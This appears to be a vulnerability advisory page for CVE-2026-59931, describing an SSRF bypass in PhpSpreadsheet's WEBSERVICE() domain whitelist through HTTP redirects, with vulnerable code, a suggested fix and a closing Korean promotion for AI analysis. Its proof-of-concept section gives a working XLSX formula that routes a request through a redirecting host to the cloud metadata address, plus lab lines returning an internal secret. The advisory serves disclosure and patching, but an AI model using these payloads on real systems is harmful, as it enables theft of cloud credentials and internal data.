Kestrel
대시보드로 돌아가기
CVE-2026-59931HIGH· 7.7GHSA대응게시일: 2026. 07. 23.수정일: 2026. 07. 23.

PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.7high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위변경
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.17.7HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

상세 설명

Summary

The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the WEBSERVICE() formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but file_get_contents() follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.

Details

In Calculation/Web/Service.php, the webService() method validates the URL's host against a domain whitelist set via Spreadsheet::setDomainWhiteList(). If the host passes validation, the method calls file_get_contents($url, false, $ctx) to fetch the content.

The stream context does not disable redirect following:

bash
1$ctxArray = [
2 'http' => [
3 'user_agent' => 'Mozilla/5.0 ...',
4 // follow_location defaults to true
5 // max_redirects defaults to 20
6 ],
7];

PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.

Vulnerable code (Calculation/Web/Service.php):

bash
1// Whitelist check — runs ONCE on the initial URL
2$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];
3$host = $parsed['host'] ?? '';
4if (!in_array($host, $domainWhiteList, true)) {
5 return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;
6}
7
8// HTTP request — follows redirects to ANY destination
9$ctx = stream_context_create($ctxArray);
10$output = @file_get_contents($url, false, $ctx);

Additionally, the whitelist check uses only the hostname from parse_url(), ignoring the port. This means whitelisting example.com permits access to all ports on that host.

PoC

Prerequisites:

  • Application uses PhpSpreadsheet >= 5.4.0
  • Application calls $spreadsheet->setDomainWhiteList([...]) with at least one domain
  • Application calls $cell->getCalculatedValue() on uploaded XLSX files

Attack steps:

  1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).

  2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:

text
1<c r="A1">
2 <f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
3</c>
  1. Upload the XLSX to the target application. The calculation engine:
    • Validates whitelisted-domain.com against the whitelist — passes
    • Calls file_get_contents("http://whitelisted-domain.com/redirect?url=...")
    • file_get_contents follows the 302 redirect to http://169.254.169.254/latest/meta-data/no re-validation
    • Returns the cloud metadata response as the cell's calculated value

Lab reproduction:

bash
1# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)
2# App whitelists "trusted-api.example.com"
3# Redirect server on trusted-api.example.com:7071 returns 302 → internal target
4
5# Test 1: Direct internal access — BLOCKED by whitelist
6=WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets")
7→ Result: null (blocked)
8
9# Test 2: Via redirect from whitelisted domain — BYPASS
10=WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal")
11→ Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}

Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).

Impact

An attacker who can upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can:

  • Bypass the domain whitelist by routing requests through a whitelisted domain that redirects to internal targets
  • Exfiltrate cloud metadata (AWS/GCP/Azure instance credentials) via http://169.254.169.254/
  • Access internal services not exposed to the internet
  • Port-scan internal networks via any whitelisted hostname (port is not validated)

This is a full-read SSRF — the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value.

Attack scenarios:

  • Whitelisted domain has an open redirect vulnerability
  • Attacker controls the whitelisted domain (e.g., a free-tier API service)
  • DNS rebinding after the whitelist check

Suggested Fix

Disable redirect following in the stream context:

bash
1$ctxArray = [
2 'http' => [
3 'user_agent' => '...',
4 'follow_location' => false,
5 'max_redirects' => 0,
6 ],
7];

Alternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist.

Additionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.

Related

This vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions < 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.

Existing SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.


AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.